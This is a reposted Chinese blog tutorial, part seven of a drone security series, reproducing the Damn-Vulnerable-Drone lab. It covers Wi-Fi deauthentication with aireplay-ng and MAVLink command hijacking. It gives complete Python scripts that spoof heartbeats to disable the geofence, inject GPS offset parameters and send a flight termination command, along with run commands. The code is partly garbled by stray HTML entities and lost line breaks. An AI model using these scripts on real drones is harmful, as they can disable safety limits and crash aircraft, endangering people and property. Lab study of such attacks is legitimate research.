IoT安全|无人机安全攻防(七):拒绝服务攻击与MAVLink指令劫持实战

admin 2025-12-23 15:55:45 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文介绍无人机安全攻防实战,包括Wi-Fi解除认证中断链路,利用MAVLink伪造消息绕过地理围栏、制造GPS偏移故障及发送飞行终止命令。文中包含具体操作步骤、工具命令及Python攻击脚本,详细展示了针对无人机协议和控制参数的渗透测试方法。 综合评分: 88 文章分类: IoT安全,渗透测试,漏洞POC,漏洞分析,实战经验


cover_image

IoT安全 | 无人机安全攻防(七):拒绝服务攻击与MAVLink指令劫持实战

原创

Real返璞归真

Real返璞归真

2025年12月22日 20:25

前言

公众号

本文仅供合法授权范围内的安全研究使用,请遵循相关法律法规,不得用于未授权的入侵、破坏或干扰行为。

欢迎关注公众号【Real返璞归真】,我们将不定期分享CTF、二进制安全、安卓逆向等领域的前沿知识与技术内容。

参考资料

Damn-Vulnerable-Drone Attack Scenarios:https://github.com/nicholasaleks/Damn-Vulnerable-Drone/wiki/Attack-Scenarios

本文旨在复现该靶场中的 Denial of Service (DoS) 攻击场景。文中涉及的技术原理及相关脚本均参考自官方文档。

image-20251221142100272

拒绝服务攻击(Denial of Service)

Wi-Fi解除认证攻击(Wifi Deauth Attack)

简介

Wi-Fi解除认证攻击(Wifi Deauth Attack):通过对 WiFi 网络进行取消认证攻击,中断地面控制站 (GCS) 与无人机之间的通信。

它利用了802.11协议的设计缺陷:管理帧无需加密验证,使得任何人都可以伪造AP或客户端的身份发送断开指令。

攻击方法

在前面Wi-Fi破解章节中,我们使用aireplay-ng广播未认证消息,进行Wi-Fi解除认证攻击,使客户端和AP断开连接,以重新获取握手包。

具体做法:

  1. 使用airodump-ng工具寻找Wi-Fi信号:
   sudo airodump-ng wlan0mon

image-20251127095043187

发现扫描到Drone-Wifi(无人机热点),加密方式为WPA2,信道CH:6,记录其BSSID:02:00:00:00:01:00

  1. 使用airodump-ng工具抓包(保证网卡在channel6监听):
   sudo airodump-ng -c 6 --bssid 02:00:00:00:01:00 -w capture wlan0mon

image-20251126215900781

  1. 使用aireplay-ng伪造AP广播解除认证数据包:
   sudo aireplay-ng --deauth 0 -a [AP_MAC] -c [GCS_MAC] wlan0mon

image-20251127100857946

实际发送的伪造数据包示例:

   # 实际发送的伪造数据包示例
   源MAC: 02:00:00:00:01:00 (伪装成AP)
   目标MAC: 特定客户端MAC
   类型/子类型: 0x00C0 (Deauthentication帧)
   原因码: 通常为0x0003 (Station leaving)

客户端接收到该数据包后,误以为是AP发送的解除认证消息,与AP断开连接。

image-20251212102229902

我们使用带有监听模式的网卡,在局域网中使用aireplay-ng工具广播该数据包,即可进行Wi-Fi解除认证攻击,干扰无人机与地面控制站的通信。

地理围栏攻击(Geofencing Attack)

简介

地理围栏攻击(Geofencing Attack):涉及发送恶意的 MAVLink 消息,以更改无人机的地理围栏设置。

这可以用来禁用地理围栏、改变边界,或在被突破时改变其行为,使无人机能够进入受限或危险区域。

地理围栏消息格式

PARAM_SET(23)

Set a parameter value (write new value to permanent storage). 设置参数值(写入新值到永久存储)。

The receiving component should acknowledge the new parameter value by broadcasting a PARAM_VALUE message (broadcasting ensures that multiple GCS all have an up-to-date list of all parameters). If the sending GCS did not receive a PARAM_VALUE within its timeout time, it should re-send the PARAM_SET message. The parameter microservice is documented at https://mavlink.io/en/services/parameter.html. 接收端应通过广播 PARAM_VALUE 消息来确认新参数值(广播确保多个 GCS 都拥有最新的参数列表)。如果发送方 GCS 在其超时时间内未收到 PARAM_VALUE,应重新发送 PARAM_SET 消息。参数微服务文档见 https://mavlink.io/en/services/parameter.html。

| Field Name 球场名称 | Type 类型 | Values 值 | Description 描述 | | — | — | — | — | | target_system | uint8_t | | System ID 系统 ID | | target_component | uint8_t | | Component ID 组件 ID | | param_id | char[16] | | Onboard parameter id, terminated by NULL if the length is less than 16 human-readable chars and WITHOUT null termination (NULL) byte if the length is exactly 16 chars – applications have to provide 16+1 bytes storage if the ID is stored as string 板载参数 ID,如果长度小于 16 个人类可读字符,则以 NULL 结束;如果长度恰好为 16 字符,则以无零终止(NULL)字节结束——如果 ID 以字符串形式存储,应用程序需要提供 16+1 字节的存储空间 | | param_value | float | | Onboard parameter value 机载参数值 | | param_type | uint8_t | MAV_PARAM_TYPE | Onboard parameter type. 机载参数类型。 |

通过查询APM官方文档(https://ardupilot.org/copter/docs/parameters-Copter-stable-V4.6.3.html)获取param_id的取值:

image-20251219154456512

伪造地理围栏消息

在伪造心跳包建立通信的基础上,增加伪造的地理围栏消息:

import os
os.environ['MAVLINK20'] =&nbsp;'1'from&nbsp;pymavlink&nbsp;import&nbsp;mavutilfrom&nbsp;scapy.all&nbsp;import&nbsp;*import&nbsp;timedefsend_mavlink_packet(packet_data, target_ip, target_port):&nbsp; &nbsp; packet = IP(dst=target_ip) / UDP(dport=target_port) / Raw(load=packet_data)&nbsp; &nbsp; send(packet)&nbsp; &nbsp;&nbsp;defcreate_heartbeat():&nbsp; &nbsp; mav = mavutil.mavlink.MAVLink(None)&nbsp; &nbsp; mav.srcSystem =&nbsp;1&nbsp; &nbsp; mav.srcComponent =&nbsp;1&nbsp; &nbsp;&nbsp;return&nbsp;mav.heartbeat_encode(&nbsp; &nbsp; &nbsp; &nbsp; type=mavutil.mavlink.MAV_TYPE_QUADROTOR,&nbsp; &nbsp; &nbsp; &nbsp; autopilot=mavutil.mavlink.MAV_AUTOPILOT_ARDUPILOTMEGA,&nbsp; &nbsp; &nbsp; &nbsp; base_mode=0x51,&nbsp; &nbsp; &nbsp; &nbsp; custom_mode=0,&nbsp; &nbsp; &nbsp; &nbsp; system_status=mavutil.mavlink.MAV_STATE_STANDBY&nbsp; &nbsp; ).pack(mav)defset_param(mav, param_id, param_value, param_type):&nbsp; &nbsp;&nbsp;return&nbsp;mav.param_set_encode(&nbsp; &nbsp; &nbsp; &nbsp; target_system=mav.target_system,&nbsp; &nbsp; &nbsp; &nbsp; target_component=mav.target_component,&nbsp; &nbsp; &nbsp; &nbsp; param_id=param_id.encode('utf-8'),&nbsp; &nbsp; &nbsp; &nbsp; param_value=param_value,&nbsp; &nbsp; &nbsp; &nbsp; param_type=param_type&nbsp; &nbsp; ).pack(mav)target_ip =&nbsp;'192.168.13.1'target_port =&nbsp;14550#target_ip = '10.13.0.3'#target_port = 5760mav = mavutil.mavlink.MAVLink(None)mav.target_system =&nbsp;1mav.target_component =&nbsp;1action = sys.argv[1]packet = {}if&nbsp;action ==&nbsp;"disable":&nbsp; &nbsp; packet = set_param(mav,&nbsp;'FENCE_ENABLE',&nbsp;0, mavutil.mavlink.MAV_PARAM_TYPE_UINT8)&nbsp; &nbsp; print("Geofence disabled")elif&nbsp;action ==&nbsp;"enable":&nbsp; &nbsp; packet = set_param(mav,&nbsp;'FENCE_ENABLE',&nbsp;1, mavutil.mavlink.MAV_PARAM_TYPE_UINT8)&nbsp; &nbsp; print("Geofence enabled")elif&nbsp;action.startswith("set_radius:"):&nbsp; &nbsp; value = float(action.split(":")[1])&nbsp; &nbsp; packet = set_param(mav,&nbsp;'FENCE_RADIUS', value, mavutil.mavlink.MAV_PARAM_TYPE_REAL32)&nbsp; &nbsp; print(f"Geofence radius set to&nbsp;{value}&nbsp;meters")elif&nbsp;action.startswith("set_alt_max:"):&nbsp; &nbsp; value = float(action.split(":")[1])&nbsp; &nbsp; packet = set_param(mav,&nbsp;'FENCE_ALT_MAX', value, mavutil.mavlink.MAV_PARAM_TYPE_REAL32)&nbsp; &nbsp; print(f"Geofence maximum altitude set to&nbsp;{value}&nbsp;meters")elif&nbsp;action.startswith("set_action:"):&nbsp; &nbsp; value = int(action.split(":")[1])&nbsp; &nbsp; packet = set_param(mav,&nbsp;'FENCE_ACTION', value, mavutil.mavlink.MAV_PARAM_TYPE_UINT8)&nbsp; &nbsp; print(f"Geofence breach action set to&nbsp;{value}")else:&nbsp; &nbsp; print("Invalid action. Actions: disable, enable, set_radius:<value>, set_alt_max:<value>, set_action:<value>")&nbsp; &nbsp; sys.exit(1)whileTrue:&nbsp; &nbsp; send_mavlink_packet(create_heartbeat(), target_ip, target_port)&nbsp; &nbsp; print("[HeartBeat] send hearbeat.")&nbsp; &nbsp; send_mavlink_packet(packet, target_ip, target_port)&nbsp; &nbsp; print("[SetParam] send set param.")&nbsp; &nbsp; time.sleep(0.1)

运行示例:

打开地理围栏:

sudo ~/Desktop/UAV_venv/bin/python Geofence.py&nbsp;enable

image-20251219154704168

关闭地理围栏:

sudo ~/Desktop/UAV_venv/bin/python Geofence.py&nbsp;disable

image-20251219154607870

GPS偏移故障攻击(GPS Offset Glitching Attack)

简介

GPS偏移故障攻击(GPS Offset Glitching Attack):控制 GPS 位置偏移参数以诱发 GPS 故障。通过将 GPS 偏移设置为最大值,无人机的位置数据变得极不准确,导致扩展卡尔曼滤波器(EKF)检测不一致,触发保护机制,迫使无人机着陆。

GPS偏移消息格式

PARAM_SET(23)

Set a parameter value (write new value to permanent storage). 设置参数值(写入新值到永久存储)。

The receiving component should acknowledge the new parameter value by broadcasting a PARAM_VALUE message (broadcasting ensures that multiple GCS all have an up-to-date list of all parameters). If the sending GCS did not receive a PARAM_VALUE within its timeout time, it should re-send the PARAM_SET message. The parameter microservice is documented at https://mavlink.io/en/services/parameter.html. 接收端应通过广播 PARAM_VALUE 消息来确认新参数值(广播确保多个 GCS 都拥有最新的参数列表)。如果发送方 GCS 在其超时时间内未收到 PARAM_VALUE,应重新发送 PARAM_SET 消息。参数微服务文档见 https://mavlink.io/en/services/parameter.html。

| Field Name 球场名称 | Type 类型 | Values 值 | Description 描述 | | — | — | — | — | | target_system | uint8_t | | System ID 系统 ID | | target_component | uint8_t | | Component ID 组件 ID | | param_id | char[16] | | Onboard parameter id, terminated by NULL if the length is less than 16 human-readable chars and WITHOUT null termination (NULL) byte if the length is exactly 16 chars – applications have to provide 16+1 bytes storage if the ID is stored as string 板载参数 ID,如果长度小于 16 个人类可读字符,则以 NULL 结束;如果长度恰好为 16 字符,则以无零终止(NULL)字节结束——如果 ID 以字符串形式存储,应用程序需要提供 16+1 字节的存储空间 | | param_value | float | | Onboard parameter value 机载参数值 | | param_type | uint8_t | MAV_PARAM_TYPE | Onboard parameter type. 机载参数类型。 |

通过查询APM官方文档(https://ardupilot.org/copter/docs/parameters-Copter-stable-V4.6.3.html)获取param_id的取值:

image-20251219160732731

伪造GPS偏移消息

在伪造心跳包建立通信的基础上,增加伪造的GPS偏移消息:

import&nbsp;os
os.environ['MAVLINK20'] =&nbsp;'1'from&nbsp;pymavlink&nbsp;import&nbsp;mavutilfrom&nbsp;scapy.all&nbsp;import&nbsp;*import&nbsp;timedefsend_mavlink_packet(packet_data, target_ip, target_port):&nbsp; &nbsp; packet = IP(dst=target_ip) / UDP(dport=target_port) / Raw(load=packet_data)&nbsp; &nbsp; send(packet)&nbsp; &nbsp;&nbsp;defcreate_heartbeat():&nbsp; &nbsp; mav = mavutil.mavlink.MAVLink(None)&nbsp; &nbsp; mav.srcSystem =&nbsp;1&nbsp; &nbsp; mav.srcComponent =&nbsp;1&nbsp; &nbsp;&nbsp;return&nbsp;mav.heartbeat_encode(&nbsp; &nbsp; &nbsp; &nbsp; type=mavutil.mavlink.MAV_TYPE_QUADROTOR,&nbsp; &nbsp; &nbsp; &nbsp; autopilot=mavutil.mavlink.MAV_AUTOPILOT_ARDUPILOTMEGA,&nbsp; &nbsp; &nbsp; &nbsp; base_mode=0x51,&nbsp; &nbsp; &nbsp; &nbsp; custom_mode=0,&nbsp; &nbsp; &nbsp; &nbsp; system_status=mavutil.mavlink.MAV_STATE_STANDBY&nbsp; &nbsp; ).pack(mav)defcreate_gps_position_offset(param_id, param_value):&nbsp; &nbsp; mav = mavutil.mavlink.MAVLink(None)&nbsp; &nbsp; mav.target_system =&nbsp;1&nbsp; &nbsp; mav.target_component =&nbsp;1&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;return&nbsp;mav.param_set_encode(&nbsp; &nbsp; &nbsp; &nbsp; target_system=mav.target_system,&nbsp; &nbsp; &nbsp; &nbsp; target_component=mav.target_component,&nbsp; &nbsp; &nbsp; &nbsp; param_id=param_id.encode('utf-8'),&nbsp; &nbsp; &nbsp; &nbsp; param_value=param_value,&nbsp; &nbsp; &nbsp; &nbsp; param_type=mavutil.mavlink.MAV_PARAM_TYPE_REAL32&nbsp; &nbsp; ).pack(mav)&nbsp; &nbsp;&nbsp;target_ip =&nbsp;'192.168.13.1'target_port =&nbsp;14550whileTrue:&nbsp; &nbsp; send_mavlink_packet(create_heartbeat(), target_ip, target_port)&nbsp; &nbsp; print("[HeartBeat] send hearbeat.")&nbsp; &nbsp; gps_params = ['GPS_POS1_X',&nbsp;'GPS_POS1_Y',&nbsp;'GPS_POS1_Z',&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;'GPS_POS2_X',&nbsp;'GPS_POS2_Y',&nbsp;'GPS_POS2_Z']&nbsp; &nbsp;&nbsp;for&nbsp;param&nbsp;in&nbsp;gps_params:&nbsp; &nbsp; &nbsp; &nbsp; send_mavlink_packet(create_gps_position_offset(param,&nbsp;10), target_ip, target_port)&nbsp; &nbsp; &nbsp; &nbsp; print("[SetParam] send set param.")&nbsp; &nbsp; time.sleep(0.1)

image-20251219162825761

无人机收到该消息后,会因定位错误导致失控或触发保护机制返航。

飞行终止攻击(Flight Termination Attack)

简介

飞行终止攻击(Flight Termination Attack):向无人机发送 MAVLink 命令,指示其立即停止当前操作。这通常会导致突然着陆、失控或坠毁。它利用了大多数支持 MAVLink 的自动驾驶器中可用的 MAV_CMD_DO_FLIGHTTERMINATION 命令。

飞行终止消息格式

MAV_CMD_DO_FLIGHTTERMINATION (185)

Terminate flight immediately.

Flight termination immediately and irreversibly terminates the current flight, returning the vehicle to ground. The vehicle will ignore RC or other input until it has been power-cycled. Termination may trigger safety measures, including: disabling motors and deployment of parachute on multicopters, and setting flight surfaces to initiate a landing pattern on fixed-wing). On multicopters without a parachute it may trigger a crash landing. Support for this command can be tested using the protocol bit: MAV_PROTOCOL_CAPABILITY_FLIGHT_TERMINATION. Support for this command can also be tested by sending the command with param1=0 (< 0.5); the ACK should be either MAV_RESULT_FAILED or MAV_RESULT_UNSUPPORTED.

| Param (Label) | Description | Values | | — | — | — | | 1 (Terminate) | Flight termination activated if > 0.5. Otherwise not activated and ACK with MAV_RESULT_FAILED. | min: 0 max: 1 inc: 1 | | 2 | Empty | | | 3 | Empty | | | 4 | Empty | | | 5 | Empty | | | 6 | Empty | | | 7 | Empty | |

伪造飞行终止消息

import&nbsp;os
os.environ['MAVLINK20'] =&nbsp;'1'from&nbsp;pymavlink&nbsp;import&nbsp;mavutilfrom&nbsp;scapy.all&nbsp;import&nbsp;*import&nbsp;timetarget_ip =&nbsp;'192.168.13.1'target_port =&nbsp;14550defconnect_drone(target_ip, target_port):&nbsp; &nbsp; master = mavutil.mavlink_connection(f'udpout:{target_ip}:{target_port}')&nbsp; &nbsp;&nbsp;return&nbsp;master&nbsp; &nbsp;&nbsp;master = connect_drone(target_ip, target_port)defexecute_flight_termination():&nbsp; &nbsp; master.mav.command_long_send(&nbsp; &nbsp; &nbsp; &nbsp; master.target_system,&nbsp; &nbsp; &nbsp; &nbsp; master.target_component,&nbsp; &nbsp; &nbsp; &nbsp; mavutil.mavlink.MAV_CMD_DO_FLIGHTTERMINATION,&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;0,&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;1,&nbsp;0,&nbsp;0,&nbsp;0,&nbsp;0,&nbsp;0,&nbsp;0&nbsp; &nbsp; )&nbsp; &nbsp; print("Flight termination command sent.")&nbsp; &nbsp;&nbsp;execute_flight_termination()whileTrue:&nbsp; &nbsp; msg = master.recv_match(blocking=True)&nbsp; &nbsp;&nbsp;ifnot&nbsp;msg:&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;continue&nbsp; &nbsp; print(f"Received message:&nbsp;{msg}")&nbsp; &nbsp;&nbsp;if&nbsp;msg.get_type() ==&nbsp;'COMMAND_ACK':&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;msg.command == mavutil.mavlink.MAV_CMD_DO_FLIGHTTERMINATION:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;msg.result == mavutil.mavlink.MAV_RESULT_ACCEPTED:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; print("Flight termination command accepted.")&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;else:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; print(f"Flight termination failed:&nbsp;{msg.result}")&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;break

收到远程日志的成功状态,说明终止命令执行成功,无人机返航:

image-20251219170448205


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:Real返璞归真 Real返璞归真《IoT安全 | 无人机安全攻防(七):拒绝服务攻击与MAVLink指令劫持实战》

评论:0   参与:  2